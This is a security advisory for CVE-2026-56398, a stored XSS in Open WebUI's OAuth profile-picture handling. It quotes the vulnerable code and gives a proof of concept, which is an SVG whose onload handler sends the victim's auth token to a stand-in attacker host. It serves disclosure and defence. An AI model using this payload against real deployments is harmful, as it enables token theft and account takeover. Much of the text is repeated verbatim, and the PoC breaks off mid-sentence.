CVE-2026-56398

Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.

Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.

Summary

When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....

The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.

Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.

Details

1. MIME inferred from URL extension, not Content-Type

backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:

response = await client.get(picture_url, ...)
if response.status_code == 200:
    picture = response.content
    base64_encoded_picture = base64.b64encode(picture).decode("utf-8")
    guessed_mime_type = mimetypes.guess_type(picture_url)[0]
    if guessed_mime_type is None:
        guessed_mime_type = "image/jpeg"
    return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"

No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.

2. OAuth path bypasses the profile-image validator

backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....

This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.

3. Endpoint serves attacker-controlled MIME with inline disposition

backend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:

header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:")  # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
    iter([data]),
    media_type=media_type,
    headers={"Content-Disposition": "inline"},
)

No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.

4. No default CSP / nosniff

backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.

PoC

Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.

1. Attacker hosts a malicious SVG at https://attacker.example/p.svg:

<svg xmlns="http://www.w3.org/2000/svg"
     onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />

2. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores data:image/svg+xml;base64,... in the attacker's…

Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.

Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.

Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.

Summary

When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....

The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.

Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.

Details

1. MIME inferred from URL extension, not Content-Type

backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:

response = await client.get(picture_url, ...)
if response.status_code == 200:
    picture = response.content
    base64_encoded_picture = base64.b64encode(picture).decode("utf-8")
    guessed_mime_type = mimetypes.guess_type(picture_url)[0]
    if guessed_mime_type is None:
        guessed_mime_type = "image/jpeg"
    return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"

No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.

2. OAuth path bypasses the profile-image validator

backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....

This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.

3. Endpoint serves attacker-controlled MIME with inline disposition

backend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:

header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:")  # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
    iter([data]),
    media_type=media_type,
    headers={"Content-Disposition": "inline"},
)

No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.

4. No default CSP / nosniff

backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.

PoC

Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.

1. Attacker hosts a malicious SVG at https://attacker.example/p.svg:

<svg xmlns="http://www.w3.org/2000/svg"
     onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />

2. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores data:image/svg+xml;base64,... in the attacker's…